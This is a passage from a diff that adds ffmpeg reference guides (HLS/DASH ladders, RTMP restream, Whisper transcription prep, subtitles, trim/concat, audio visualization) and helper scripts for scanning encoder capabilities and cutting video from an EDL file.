+keyframes**, so `-g`/`-keyint_min` = fps × hls_time (here 30×6=180) and
+`-sc_threshold 0` stops scene-detection from inserting extras. Without this,
+segment durations drift and players stall on seeks.
+
+fMP4 segments instead of TS (required for HEVC-in-HLS, nicer for CMAF):
+`-hls_segment_type fmp4`.
+
+## ABR ladder (multi-rendition)
+
+Ladder data: [../assets/hls-ladder.json](../assets/hls-ladder.json) — trim to 3
+rungs for non-broadcast use. One-command master playlist via
+`-var_stream_map`:
+
+```bash
+ffmpeg -i in.mp4 \
+  -filter_complex "[0:v]split=3[v1][v2][v3];[v1]scale=-2:1080[v1o];[v2]scale=-2:720[v2o];[v3]scale=-2:360[v3o]" \
+  -map "[v1o]" -c:v:0 libx264 -b:v:0 6000k -maxrate:v:0 6600k -bufsize:v:0 12000k \
+  -map "[v2o]" -c:v:1 libx264 -b:v:1 3000k -maxrate:v:1 3300k -bufsize:v:1 6000k \
+  -map "[v3o]" -c:v:2 libx264 -b:v:2 730k  -maxrate:v:2 800k  -bufsize:v:2 1460k \
+  -map a:0 -map a:0 -map a:0 -c:a aac -b:a 128k -ar 48000 \
+  -preset slow -pix_fmt yuv420p -g 180 -keyint_min 180 -sc_threshold 0 \
+  -f hls -hls_time 6 -hls_playlist_type vod \
+  -master_pl_name master.m3u8 \
+  -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" \
+  -hls_segment_filename 'out/%v/seg_%04d.ts' 'out/%v/index.m3u8'
+```
+
+ABR uses **capped bitrate** (`-b:v` + `-maxrate` + `-bufsize` ≈ 2× maxrate), not
+CRF — the ladder's promise to the player is a bandwidth, not a quality.
+
+## DASH
+
+Same encode discipline; `-f dash`:
+
+```bash
+ffmpeg -i in.mp4 ... -f dash -seg_duration 6 -use_template 1 -use_timeline 1 out/manifest.mpd
+```
+
+For both-HLS-and-DASH from one encode, encode renditions to fMP4 once and package
+with a dedicated packager (shaka-packager) rather than encoding twice.
+
+## Live restream (RTMP push)
+
+```bash
+# screen/webcam/file -> YouTube/Twitch ingest. zerolatency + CBR-ish + 2s GOP:
+ffmpeg -re -i source.mp4 -c:v libx264 -preset veryfast -tune zerolatency \
+  -b:v 4500k -maxrate 4500k -bufsize 9000k -pix_fmt yuv420p -g 60 \
+  -c:a aac -b:a 128k -ar 44100 \
+  -f flv rtmp://a.rtmp.youtube.com/live2/STREAM_KEY
+```
+
+`-re` paces a *file* to realtime (never use it for live capture inputs). NVENC
+(`h264_nvenc -preset p4 -tune ll`) is the right call here — encode speed matters
+more than per-bit quality. Stream keys are secrets: env var, not command line, on
+shared machines.
+
+## Serving HLS locally (testing)
+
+Any static server works (`python -m http.server`) — HLS is just files + correct
+MIME (`.m3u8` = application/vnd.apple.mpegurl, `.ts` = video/mp2t). Browsers
+other than Safari need hls.js; quick check without a page: `ffplay out/index.m3u8`.

+ 100 - 0
skills/ffmpeg-ops/references/stt-whisper.md

@@ -0,0 +1,100 @@
+# STT / Whisper prep — audio in, transcripts out
+
+ffmpeg is the universal front-end for Whisper-family transcription; the prep step
+is where transcription quality is silently won or lost.
+
+## The canonical extraction
+
+Whisper models consume 16 kHz mono. Resampling in ffmpeg (not in the STT tool) is
+faster and deterministic:
+
+```bash
+ffmpeg -i in.mp4 -vn -ac 1 -ar 16000 -c:a pcm_s16le stt.wav
+
+# no temp file — pipe raw PCM straight in (whisper.cpp shown):
+ffmpeg -v error -i in.mp4 -vn -ac 1 -ar 16000 -f s16le - | whisper-cli -m model.bin -f -
+```
+
+## Pre-cleanup: what helps and what hurts
+
+| Filter | Effect on STT accuracy |
+|---|---|
+| `loudnorm` / `dynaudnorm` | Helps quiet/uneven recordings — Whisper mis-segments very quiet audio |
+| `highpass=f=100` | Helps rumble/handling noise; harmless otherwise |
+| `afftdn` (denoise) | Helps **only** on genuinely noisy audio; on clean audio it smears consonants and *hurts* |
+| Aggressive `silenceremove` | **Hurts** — Whisper uses silence for sentence segmentation; removing it merges sentences and breaks timestamps relative to the original media |
+
+Rule: normalize loudness, high-pass at 100 Hz, denoise only when you can hear the
+noise. Never strip silence from audio you'll want timestamps against.
+
+## Chunking long audio
+
+Chunk **on silence boundaries, never mid-word** — and overlap is unnecessary when
+the boundaries are real silences:
+
+```bash
+python skills/ffmpeg-ops/scripts/detect-segments.py --silence --min-silence 0.6 \
+  --json long.mp4 | jq -r '.data.speech[] | "\(.start) \(.end)"' |
+while read -r s e; do
+  ffmpeg -v error -ss "$s" -to "$e" -i long.mp4 -vn -ac 1 -ar 16000 \
+    -c:a pcm_s16le "chunks/chunk_${s}.wav"
+done
+```
+
+Chunk filenames carry the source offset, so chunk-local timestamps convert back to
+source time by adding `s`. Group speech segments into ~5–10 min batches for
+parallel transcription (one agent/process per batch).
+
+## The transcript-JSON contract
+
+Normalize every engine's output into this shape (the WhisperX word form) — it is
+the contract that shot selection ([edit-as-code.md](edit-as-code.md)), cut
+verification, caption timing, and overlay placement all read:
+
+```json
+{ "words": [
+    { "word": "Hey",   "start": 1.02, "end": 1.50 },
+    { "word": "it's",  "start": 1.90, "end": 2.04 }
+  ],
+  "segments": [ { "text": "Hey it's ...", "start": 1.02, "end": 3.38 } ] }
+```
+
+**ASR spelling is unreliable; timings are the product.** A name misheard as "Sark"
+still carries correct timestamps — match phrases fuzzily, trust the times.
+
+## Engine notes
+
+- **whisper.cpp** — local, fast, no Python; word timestamps approximate (segment
+  cross-fade heuristics).
+- **faster-whisper** — local Python (CTranslate2), `word_timestamps=True`; good
+  default.
+- **WhisperX** — adds wav2vec2 forced alignment on top of Whisper: word timestamps
+  to ±50 ms (vanilla Whisper ≈ ±500 ms), plus VAD pre-filter and optional
+  diarization. **Use when timestamps drive cuts or captions.**
+- Managed APIs (ElevenLabs, Deepgram, AssemblyAI) — fine; normalize their response
+  into the contract above.
+
+## Round trip to subtitles
+
+STT output → SRT/VTT → mux or burn ([subtitles.md](subtitles.md)):
+
+```bash
+# most engines emit SRT directly; converting is one command anyway:
+ffmpeg -i transcript.vtt captions.srt
+ffmpeg -i in.mp4 -i captions.srt -map 0 -map 1 -c copy -c:s mov_text captioned.mp4
+```
+
+## The summarisation pipeline (daily-driver workflow)
+
+```
+source (file or ytdlp audio-only) 
+  → ffmpeg 16k mono extraction (above)
+  → transcribe (engine of choice, word JSON)
+  → THE AGENT summarises the transcript      ← ffmpeg's job ended one step ago
+  → optional visual pass: detect-segments.py --scenes + a contact sheet
+    (images-gif.md) → chapter list with thumbnails
+```
+
+For downloaded sources, prefer `yt-dlp -x --audio-format opus URL` (or
+`--download-sections` for a time range) so you never pull video bytes you only
+needed audio from.

+ 69 - 0
skills/ffmpeg-ops/references/subtitles.md

@@ -0,0 +1,69 @@
+# Subtitles — burn vs soft, styling, extraction
+
+## Decision
+
+| Need | Method |
+|---|---|
+| Toggleable, instant, preserves quality | **Soft** (mux as a stream, `-c copy`) |
+| Always visible (social video, players without sub support) | **Burn-in** (re-encode, `subtitles` filter) |
+| Styled karaoke/positioned text | ASS soft in MKV, or burn |
+
+## Soft subtitles (mux)
+
+```bash
+ffmpeg -i in.mp4 -i subs.srt -map 0 -map 1 -c copy -c:s mov_text out.mp4    # mp4
+ffmpeg -i in.mkv -i subs.srt -map 0 -map 1 -c copy -c:s srt out.mkv         # mkv (srt/ass)
+# language tag + default flag (players auto-select):
+... -metadata:s:s:0 language=eng -disposition:s:0 default
+```
+
+MP4 only carries `mov_text` (and loses ASS styling); MKV carries srt/ass/pgs
+natively. WebVTT for web (`-c:s webvtt`, .vtt).
+
+## Burn-in
+
+```bash
+# cd to the subtitle's directory first — the filter's path escaping is the worst
+# quoting trap in ffmpeg (a Windows drive colon needs C\\:/ escaping INSIDE the arg)
+ffmpeg -i in.mp4 -vf "subtitles=subs.srt" -c:v libx264 -crf 20 -c:a copy out.mp4
+
+# styled burn (libass force_style; fontconfig resolves the family name):
+-vf "subtitles=subs.srt:force_style='FontName=Arial,FontSize=28,PrimaryColour=&H00FFFFFF,OutlineColour=&H00000000,Outline=2,MarginV=40'"
+
+# burn the EMBEDDED subtitle track of an mkv (note: input path, stream index si):
+-vf "subtitles=in.mkv:si=0"
+# bitmap subs (PGS/dvd_subtitle) cannot go through `subtitles` — overlay them:
+-filter_complex "[0:v][0:s:0]overlay"
+```
+
+`force_style` colors are ASS `&HAABBGGRR` (blue-green-red, not RGB; alpha 00 =
+opaque).
+
+## Extract / convert
+
+```bash
+ffprobe -v error -show_entries stream=index,codec_name:stream_tags=language \
+  -select_streams s -of csv=p=0 in.mkv          # what sub tracks exist
+ffmpeg -i in.mkv -map 0:s:0 subs.srt            # extract first text track
+ffmpeg -i subs.srt subs.vtt                     # srt <-> vtt <-> ass conversion
+```
+
+Bitmap tracks (pgs, dvd_subtitle) can't convert to text via ffmpeg — that's an
+OCR job (external tooling).
+
+## Timing repair
+
+```bash
+# subs 2.5s late -> shift earlier:
+ffmpeg -itsoffset -2.5 -i subs.srt -c copy shifted.srt
+```
+
+For *rate* drift (23.976 vs 25 fps subs), retiming = multiply timestamps —
+external tools or regenerate from STT ([stt-whisper.md](stt-whisper.md)).
+
+## From STT
+
+Whisper-family engines emit SRT/VTT directly; the round trip (extract audio →
+transcribe → mux back) is in [stt-whisper.md](stt-whisper.md). Caption-quality
+rule for generated subs: ≤ 2 lines, ≤ ~42 chars/line, segments split on the
+word-level timestamps at phrase boundaries — not the engine's raw 30-word blobs.

+ 95 - 0
skills/ffmpeg-ops/references/trim-concat.md

@@ -0,0 +1,95 @@
+# Trim & Concat — seek semantics, keyframes, joining
+
+## `-ss` semantics (the most misunderstood flag in ffmpeg)
+
+| Placement | With `-c copy` | With re-encode |
+|---|---|---|
+| **Before `-i`** (input seek) | Fast; **snaps to the previous keyframe** — start can be seconds early, or players show frozen/black until the first keyframe | Fast **and frame-accurate** (decodes from the prior keyframe, discards up to the target) |
+| **After `-i`** (output seek) | Decodes everything from 0:00 then discards — slow, accurate | Slow, accurate — *no advantage* over input seek on modern ffmpeg |
+
+**Modern rule: put `-ss` before `-i` always.** The "put it after for accuracy"
+advice predates ffmpeg 2.1 and now only costs time.
+
+`-to` vs `-t`: `-to` = absolute end position, `-t` = duration. **Keep `-ss` and
+`-to` on the same side of `-i`.** With input-side `-ss` and *output-side* `-to`,
+timestamps have already been reset at the seek point, so `-to 60` means "60s
+after the cut start", not "at 60s in the source" — a silent off-by-`ss` error.
+
+## Keyframes and copy cuts
+
+A stream-copied cut can only begin at a keyframe (IDR). Typical delivery files
+have keyframes every 2–10 s, so a copy cut at an arbitrary point either:
+
+1. snaps the start earlier (most players), or
+2. keeps audio from the requested point but shows frozen video until the next
+   keyframe (some players).
+
+Decide mechanically:
+
+```bash
+python skills/ffmpeg-ops/scripts/probe-media.py --keyframes-near 92.5 in.mp4
+# copy_cut_drift_s tells you how far the copy cut would land from your target
+```
+
+Drift acceptable → copy. Not → re-encode just that cut (`-crf 18` keeps it
+visually identical). For many cuts from one source, an all-intra mezzanine
+(see [encoding.md](encoding.md)) makes *every* point copy-safe.
+
+Always add `-avoid_negative_ts make_zero` to copy cuts — some muxers otherwise
+write leading negative timestamps that desync players.
+
+## The three concats
+
+| Method | When | Cost |
+|---|---|---|
+| **concat demuxer** | Same codec, resolution, fps, timebase (e.g. segments you cut from one source) | zero — stream copy |
+| **concat filter** | Different codecs/sizes/fps | full re-encode |
+| **concat protocol** | MPEG-TS only (`concat:a.ts\|b.ts`) — rarely what you want | zero |
+
+```bash
+# demuxer (the workhorse)
+printf "file '%s'\n" a.mp4 b.mp4 c.mp4 > concat.txt
+ffmpeg -f concat -safe 0 -i concat.txt -c copy -movflags +faststart out.mp4
+
+# filter (mixed sources) — normalize geometry inline
+ffmpeg -i a.mp4 -i b.mov -filter_complex \
+  "[0:v]scale=1920:1080:force_original_aspect_ratio=decrease,pad=1920:1080:(ow-iw)/2:(oh-ih)/2,fps=30[v0];
+   [1:v]scale=1920:1080:force_original_aspect_ratio=decrease,pad=1920:1080:(ow-iw)/2:(oh-ih)/2,fps=30[v1];
+   [v0][0:a][v1][1:a]concat=n=2:v=1:a=1[v][a]" \
+  -map "[v]" -map "[a]" -c:v libx264 -crf 20 -c:a aac out.mp4
+```
+
+concat.txt paths are relative **to the concat.txt file**, not the CWD. `-safe 0`
+is required for absolute paths. Windows paths work with forward slashes:
+`file 'X:/clips/a.mp4'`.
+
+**Audio gotcha:** mismatched sample rates/channel layouts break the demuxer too —
+not just video params. When in doubt: probe both, or re-encode via the filter.
+
+## Removing a middle section
+
+Two keeps + concat (simple, recommended), or one command with trim filters:
+
+```bash
+# keep 0-60 and 120-end in one pass (re-encode)
+ffmpeg -i in.mp4 -filter_complex \
+  "[0:v]trim=0:60,setpts=PTS-STARTPTS[v0];[0:a]atrim=0:60,asetpts=PTS-STARTPTS[a0];
+   [0:v]trim=start=120,setpts=PTS-STARTPTS[v1];[0:a]atrim=start=120,asetpts=PTS-STARTPTS[a1];
+   [v0][a0][v1][a1]concat=n=2:v=1:a=1[v][a]" \
+  -map "[v]" -map "[a]" -c:v libx264 -crf 18 -c:a aac out.mp4
+```
+
+`setpts=PTS-STARTPTS` after every trim is mandatory — trim keeps original
+timestamps and the concat misbehaves without the reset.
+
+For 3+ cuts, stop hand-writing graphs: author an EDL and use
+`cut-from-edl.py` ([edit-as-code.md](edit-as-code.md)).
+
+## Segmenting (the reverse of concat)
+
+```bash
+# split into ~5-minute pieces at keyframes, no re-encode
+ffmpeg -i in.mp4 -f segment -segment_time 300 -reset_timestamps 1 -c copy part%03d.mp4
+```
+
+Segment boundaries snap to keyframes in copy mode — pieces won't be exactly 300s.

+ 75 - 0
skills/ffmpeg-ops/references/visualization.md

@@ -0,0 +1,75 @@
+# Visualization — audio-reactive video, audiograms, spectrograms
+
+Turning sound into pixels: podcast clips for social, waveform "audiograms",
+debugging audio by looking at it.
+
+## Waveform video (the podcast audiogram)
+
+```bash
+# scrolling waveform over a brand background + episode title:
+ffmpeg -i episode.mp3 -loop 1 -i bg_1080x1920.png -filter_complex \
+  "[0:a]showwaves=s=1080x300:mode=cline:colors=white:rate=30[w];
+   [1:v][w]overlay=0:1200:shortest=1,drawtext=text='EP 42 — Title':fontsize=56:fontcolor=white:x=(w-text_w)/2:y=320" \
+  -c:v libx264 -crf 21 -preset fast -pix_fmt yuv420p -c:a aac -b:a 128k -shortest audiogram.mp4
+```
+
+`shortest=1` on the overlay + `-shortest` at the end stop the looped image from
+running forever. `showwaves` modes: `cline` (filled, the podcast look), `line`,
+`p2p`, `point`.
+
+## Spectrum styles
+
+```bash
+# frequency bars (the "visualizer" look):
+"[0:a]showfreqs=s=1280x420:mode=bar:fscale=log[v]"
+
+# scrolling spectrogram (also the debugging view — see below):
+"[0:a]showspectrum=s=1280x720:mode=combined:color=intensity:scale=log:slide=scroll[v]"
+
+# musical/CQT spectrum (notes align to rows — lovely for music):
+"[0:a]showcqt=s=1280x720[v]"
+
+# minimal volume meter / phase scope:
+"[0:a]avectorscope=s=720x720:zoom=1.5[v]"
+```
+
+All consume `[0:a]` and produce a video stream — overlay/hstack them like any
+other video ([filtergraph.md](filtergraph.md)).
+
+## Static waveform / spectrogram images
+
+```bash
+# waveform PNG (one image of the whole file — episode art, quick inspection):
+ffmpeg -i in.mp3 -filter_complex "showwavespic=s=1920x480:colors=#3aa3ff" -frames:v 1 wave.png
+
+# spectrogram PNG — the audio-debugging x-ray:
+ffmpeg -i in.wav -lavfi "showspectrumpic=s=1920x1080:scale=log" -frames:v 1 spec.png
+```
+
+Reading the spectrogram: a hard ceiling at ~16 kHz = the file was once a lossy
+128k MP3 regardless of its current extension; mains hum = a solid line at
+50/60 Hz (kill with `highpass`); clicks = vertical needles. Faster than ears for
+"is this 'lossless' file actually lossless".
+
+## Audio-reactive overlays (beyond fixed shapes)
+
+ffmpeg-only reactivity is limited to the built-in scopes. For brand-grade
+audio-reactive motion (pulsing logos, beat-synced glow), render with a
+composition tool (hyperframes' audio-reactive bindings or Remotion's `useAudioData`)
+and use ffmpeg for the I/O around it: extract the audio (`-vn`), supply stems,
+encode/package the rendered result ([encoding.md](encoding.md)).
+
+## Comparison grids (encode A/B, model-output review)
+
+```bash
+# 2x2 labelled grid of four variants:
+ffmpeg -i a.mp4 -i b.mp4 -i c.mp4 -i d.mp4 -filter_complex \
+  "[0:v]drawtext=text='crf20':fontsize=36:fontcolor=white:box=1:boxcolor=black@0.5:x=12:y=12[a];
+   [1:v]drawtext=text='crf26':fontsize=36:fontcolor=white:box=1:boxcolor=black@0.5:x=12:y=12[b];
+   [2:v]drawtext=text='nvenc':fontsize=36:fontcolor=white:box=1:boxcolor=black@0.5:x=12:y=12[c];
+   [3:v]drawtext=text='av1':fontsize=36:fontcolor=white:box=1:boxcolor=black@0.5:x=12:y=12[d];
+   [a][b][c][d]xstack=inputs=4:layout=0_0|w0_0|0_h0|w0_h0" -an grid.mp4
+```
+
+Inputs must share dimensions (scale first if not). The 2-input case (`hstack` +
+difference blend) lives in [quality-metrics.md](quality-metrics.md).

+ 144 - 0
skills/ffmpeg-ops/scripts/capability-scan.sh

@@ -0,0 +1,144 @@
+#!/usr/bin/env bash
+# What can THIS ffmpeg build actually do — encoders, hwaccels, key filters.
+#
+# Listing an encoder is not the same as it working: hardware encoders (NVENC/QSV/
+# AMF/VideoToolbox/VAAPI) routinely appear in `-encoders` yet fail at runtime on
+# driver/device mismatches. Default mode therefore PROOF-ENCODES 10 frames of
+# lavfi testsrc2 through every present hw encoder; --quick skips that (list-only).
+#
+# Usage:   capability-scan.sh [--quick] [--json] [-q]
+# Input:   none (inspects the ffmpeg on PATH)
+# Output:  stdout = TSV records (kind, name, listed, verified), or --json envelope
+#          (schema claude-mods.ffmpeg-ops.capability/v1)
+# Stderr:  headers, progress, errors
+# Exit:    0 ok, 2 usage, 5 ffmpeg missing (jq missing for --json),
+#          10 at least one LISTED hw encoder FAILED its proof-encode
+#
+# Examples:
+#   capability-scan.sh
+#   capability-scan.sh --quick
+#   capability-scan.sh --json | jq '.data.encoders[] | select(.hw and .listed)'
+#   capability-scan.sh --json | jq -r '.data.recommended_hw // "none"'
+
+set -uo pipefail
+
+EXIT_OK=0; EXIT_USAGE=2; EXIT_MISSING_DEP=5; EXIT_FAILED_VERIFY=10
+SCHEMA="claude-mods.ffmpeg-ops.capability/v1"
+
+QUICK=0; JSON=0; QUIET=0
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --quick)    QUICK=1 ;;
+    --json)     JSON=1 ;;
+    -q|--quiet) QUIET=1 ;;
+    -h|--help)  sed -n '2,23p' "$0" | sed 's/^# \{0,1\}//'; exit "$EXIT_OK" ;;
+    *) echo "ERROR: unknown argument: $1 (try --help)" >&2; exit "$EXIT_USAGE" ;;
+  esac
+  shift
+done
+
+command -v ffmpeg >/dev/null 2>&1 || {
+  [[ "$JSON" -eq 1 ]] && echo '{"error":{"code":"MISSING_DEPENDENCY","message":"ffmpeg not on PATH"}}'
+  echo "ERROR: ffmpeg not found on PATH" >&2; exit "$EXIT_MISSING_DEP"; }
+HAS_JQ=0; command -v jq >/dev/null 2>&1 && HAS_JQ=1
+[[ "$JSON" -eq 1 && "$HAS_JQ" -eq 0 ]] && {
+  echo '{"error":{"code":"MISSING_DEPENDENCY","message":"jq required for --json"}}'
+  echo "ERROR: jq required for --json" >&2; exit "$EXIT_MISSING_DEP"; }
+
+emit() { [[ "$QUIET" -eq 1 ]] && return 0; printf '%s\n' "$1" >&2; }
+
+VERSION="$(ffmpeg -hide_banner -version 2>/dev/null | head -1)"
+ENCODERS_RAW="$(ffmpeg -hide_banner -encoders 2>/dev/null)"
+HWACCELS="$(ffmpeg -hide_banner -hwaccels 2>/dev/null | tail -n +2 | tr -d ' ' | grep -v '^$' || true)"
+FILTERS_RAW="$(ffmpeg -hide_banner -filters 2>/dev/null)"
+
+emit "== capability-scan: $VERSION"
+
+# Hardware encoders worth knowing about, in rough preference order per vendor.
+HW_ENCODERS=(h264_nvenc hevc_nvenc av1_nvenc
+             h264_qsv hevc_qsv av1_qsv
+             h264_amf hevc_amf av1_amf
+             h264_videotoolbox hevc_videotoolbox
+             h264_vaapi hevc_vaapi av1_vaapi)
+# Software encoders + filters the cookbook leans on.
+SW_ENCODERS=(libx264 libx265 libsvtav1 libaom-av1 libvpx-vp9 aac libopus libmp3lame ffv1)
+KEY_FILTERS=(scale crop pad overlay drawtext subtitles loudnorm silencedetect
+             silenceremove lut3d curves eq zscale tonemap minterpolate vidstabdetect
+             vidstabtransform bwdif hqdn3d nlmeans palettegen paletteuse libvmaf
+             ssim psnr xstack showwaves showspectrum)
+
+# Flags-column width varies across ffmpeg majors (3 chars <=7.x, 2 in 8.x).
+listed_encoder() { grep -qE "^ [A-Z.]{6} +$1 " <<<"$ENCODERS_RAW"; }
+listed_filter()  { grep -qE "^ +[A-Z.|]+ +$1 +" <<<"$FILTERS_RAW"; }
+
+proof_encode() { # $1 = encoder name; returns 0 verified, 1 failed
+  local enc="$1" extra=()
+  case "$enc" in
+    *_vaapi) extra=(-vaapi_device /dev/dri/renderD128 -vf format=nv12,hwupload) ;;
+    *_qsv)   extra=(-vf format=nv12) ;;
+  esac
+  ffmpeg -v error -y -f lavfi -i testsrc2=duration=1:size=640x360:rate=30 \
+    "${extra[@]+"${extra[@]}"}" -frames:v 10 -c:v "$enc" -f null - >/dev/null 2>&1
+}
+
+failed_verify=0
+ROWS=()           # tsv rows for stdout
+JSON_ENC=()       # jq-built objects
+RECOMMENDED=""
+
+for enc in "${HW_ENCODERS[@]}"; do
+  listed=false verified=null
+  if listed_encoder "$enc"; then
+    listed=true
+    if [[ "$QUICK" -eq 1 ]]; then
+      verified=null
+      emit "   hw  $enc  listed (proof-encode skipped: --quick)"
+    elif proof_encode "$enc"; then
+      verified=true
+      [[ -z "$RECOMMENDED" ]] && RECOMMENDED="$enc"
+      emit "   hw  $enc  VERIFIED"
+    else
+      verified=false; failed_verify=1
+      emit "   hw  $enc  LISTED BUT FAILED proof-encode (driver/device mismatch?)"
+    fi
+  fi
+  ROWS+=("$(printf 'encoder\t%s\thw\t%s\t%s' "$enc" "$listed" "$verified")")
+  [[ "$HAS_JQ" -eq 1 ]] && JSON_ENC+=("$(jq -cn --arg n "$enc" --argjson l "$listed" \
+      --argjson v "$verified" '{name:$n, hw:true, listed:$l, verified:$v}')")
+done
+
+for enc in "${SW_ENCODERS[@]}"; do
+  listed=false; listed_encoder "$enc" && listed=true
+  ROWS+=("$(printf 'encoder\t%s\tsw\t%s\tnull' "$enc" "$listed")")
+  [[ "$HAS_JQ" -eq 1 ]] && JSON_ENC+=("$(jq -cn --arg n "$enc" --argjson l "$listed" \
+      '{name:$n, hw:false, listed:$l, verified:null}')")
+done
+
+JSON_FILT=()
+missing_filters=()
+for f in "${KEY_FILTERS[@]}"; do
+  present=false; listed_filter "$f" && present=true
+  [[ "$present" == false ]] && missing_filters+=("$f")
+  ROWS+=("$(printf 'filter\t%s\t-\t%s\tnull' "$f" "$present")")
+  [[ "$HAS_JQ" -eq 1 ]] && JSON_FILT+=("$(jq -cn --arg n "$f" --argjson p "$present" \
+      '{name:$n, present:$p}')")
+done
+
+[[ ${#missing_filters[@]} -gt 0 ]] && \
+  emit "   note: filters not in this build: ${missing_filters[*]}"
+
+if [[ "$JSON" -eq 1 ]]; then
+  printf '%s\n' "${JSON_ENC[@]}" | jq -s \
+    --arg version "$VERSION" --arg schema "$SCHEMA" \
+    --arg rec "$RECOMMENDED" --argjson quick "$([[ $QUICK -eq 1 ]] && echo true || echo false)" \
+    --argjson hwaccels "$(printf '%s\n' $HWACCELS | jq -Rn '[inputs | select(length>0)]')" \
+    --argjson filters "$(printf '%s\n' "${JSON_FILT[@]}" | jq -s '.')" \
+    '{data:{version:$version, quick:$quick, hwaccels:$hwaccels, encoders:.,
+            filters:$filters, recommended_hw:(if $rec=="" then null else $rec end)},
+      meta:{schema:$schema}}'
+else
+  printf '%s\n' "${ROWS[@]}"
+fi
+
+[[ "$failed_verify" -eq 1 ]] && exit "$EXIT_FAILED_VERIFY"
+exit "$EXIT_OK"

+ 261 - 0
skills/ffmpeg-ops/scripts/cut-from-edl.py

@@ -0,0 +1,261 @@
+#!/usr/bin/env python3
+"""EDL JSON -> validated cuts + concat: the deterministic core of edit-as-code.
+
+Reads an edit decision list (schema: assets/edl-schema.json — scenes, clips,
+time ranges, written rationale), validates it, and produces the final video via
+per-clip cuts + the concat demuxer. DRY-RUN BY DEFAULT: prints every command it
+would run and touches nothing until --execute.
+
+Re-encode mode (default) is frame-accurate and normalizes codec/resolution/fps
+across clips so the concat is always safe; --copy is faster but requires
+keyframe-aligned cut points and identical source parameters.
+
+Usage:   cut-from-edl.py [--execute] [--copy] [-o OUT] [--workdir DIR] [--json] <edl.json>
+Input:   EDL JSON as positional; clip paths resolve relative to the EDL's directory
+Output:  stdout = planned/executed command list (or --json envelope,
+         schema claude-mods.ffmpeg-ops.edl/v1)
+Stderr:  progress, warnings, errors
+Exit:    0 ok, 2 usage, 3 EDL or source file missing, 4 EDL invalid,
+         5 ffmpeg missing (--execute only)
+
+Examples:
+  cut-from-edl.py edit.json                          # dry-run: show the plan
+  cut-from-edl.py edit.json --execute -o final.mp4
+  cut-from-edl.py edit.json --execute --copy         # keyframe-aligned EDLs only
+  cut-from-edl.py edit.json --json | jq '.data.commands'
+"""
+
+import argparse
+import json
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+SCHEMA = "claude-mods.ffmpeg-ops.edl/v1"
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_VALIDATION, EXIT_MISSING_DEP = 0, 2, 3, 4, 5
+
+
+def err(json_mode: bool, code: str, message: str, exit_code: int) -> NoReturn:
+    if json_mode:
+        print(json.dumps({"error": {"code": code, "message": message, "details": {}}}))
+    print(f"ERROR: {message}", file=sys.stderr)
+    sys.exit(exit_code)
+
+
+def validate_edl(edl: dict) -> list:
+    """Stdlib structural validation mirroring assets/edl-schema.json."""
+    problems = []
+    scenes = edl.get("scenes")
+    if not isinstance(scenes, list) or not scenes:
+        return ["'scenes' must be a non-empty array"]
+    for i, scene in enumerate(scenes):
+        where = f"scenes[{i}]"
+        if not isinstance(scene, dict):
+            problems.append(f"{where} must be an object")
+            continue
+        clips = scene.get("clips")
+        if not isinstance(clips, list) or not clips:
+            problems.append(f"{where}.clips must be a non-empty array")
+            continue
+        for j, clip in enumerate(clips):
+            cw = f"{where}.clips[{j}]"
+            if not isinstance(clip, dict):
+                problems.append(f"{cw} must be an object")
+                continue
+            if not isinstance(clip.get("file"), str) or not clip.get("file"):
+                problems.append(f"{cw}.file must be a non-empty string")
+            start, end = clip.get("start"), clip.get("end")
+            if not isinstance(start, (int, float)) or start < 0:
+                problems.append(f"{cw}.start must be a number >= 0")
+            if not isinstance(end, (int, float)):
+                problems.append(f"{cw}.end must be a number")
+            elif isinstance(start, (int, float)) and end <= start:
+                problems.append(f"{cw}: end ({end}) must be > start ({start})")
+    return problems
+
+
+def video_props(ffprobe: str, path: Path) -> dict:
+    proc = subprocess.run(
+        [ffprobe, "-v", "error", "-select_streams", "v:0",
+         "-show_entries", "stream=width,height,r_frame_rate", "-of", "csv=p=0",
+         str(path)],
+        capture_output=True, text=True)
+    parts = proc.stdout.strip().split(",")
+    if len(parts) == 3:
+        try:
+            num, den = parts[2].split("/")
+            fps = round(int(num) / int(den), 3) if int(den) else 0
+            return {"width": int(parts[0]), "height": int(parts[1]), "fps": fps}
+        except (ValueError, ZeroDivisionError):
+            pass
+    return {}
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(
+        description="Cut + concat a final video from an EDL JSON (dry-run by default).",
+        epilog="Examples:\n"
+               "  cut-from-edl.py edit.json\n"
+               "  cut-from-edl.py edit.json --execute -o final.mp4\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("edl", help="EDL JSON file (see assets/edl-schema.json)")
+    ap.add_argument("--execute", action="store_true",
+                    help="actually run the cuts (default: dry-run print only)")
+    ap.add_argument("--copy", action="store_true",
+                    help="stream-copy cuts (fast; needs keyframe-aligned points "
+                         "and identical source params)")
+    ap.add_argument("-o", "--output", default=None,
+                    help="final output path, resolved against the CWD (default: the "
+                         "EDL 'output' field resolved against the EDL file, else final.mp4)")
+    ap.add_argument("--workdir", default=None,
+                    help="directory for cut segments (default: <edl-dir>/edl-cuts)")
+    ap.add_argument("--json", action="store_true", help="emit JSON envelope on stdout")
+    args = ap.parse_args()
+
+    edl_path = Path(args.edl)
+    if not edl_path.is_file():
+        err(args.json, "NOT_FOUND", f"EDL not found: {edl_path}", EXIT_NOT_FOUND)
+    try:
+        edl = json.loads(edl_path.read_text(encoding="utf-8"))
+    except json.JSONDecodeError as e:
+        err(args.json, "VALIDATION", f"EDL is not valid JSON: {e}", EXIT_VALIDATION)
+
+    problems = validate_edl(edl)
+    if problems:
+        err(args.json, "VALIDATION",
+            "EDL failed validation: " + "; ".join(problems[:5])
+            + (f" (+{len(problems) - 5} more)" if len(problems) > 5 else ""),
+            EXIT_VALIDATION)
+
+    base = edl_path.resolve().parent
+    workdir = Path(args.workdir) if args.workdir else base / "edl-cuts"
+    # CLI -o resolves against the CWD (normal CLI convention); the EDL's own
+    # 'output' field resolves against the EDL file (schema contract).
+    if args.output:
+        output = Path(args.output).resolve()
+    else:
+        output = Path(edl.get("output") or "final.mp4")
+        if not output.is_absolute():
+            output = base / output
+
+    # Resolve and existence-check sources (fatal in execute, warning in dry-run).
+    clips, missing = [], []
+    for scene in edl["scenes"]:
+        for clip in scene["clips"]:
+            src = Path(clip["file"])
+            if not src.is_absolute():
+                src = base / src
+            if not src.is_file():
+                missing.append(str(src))
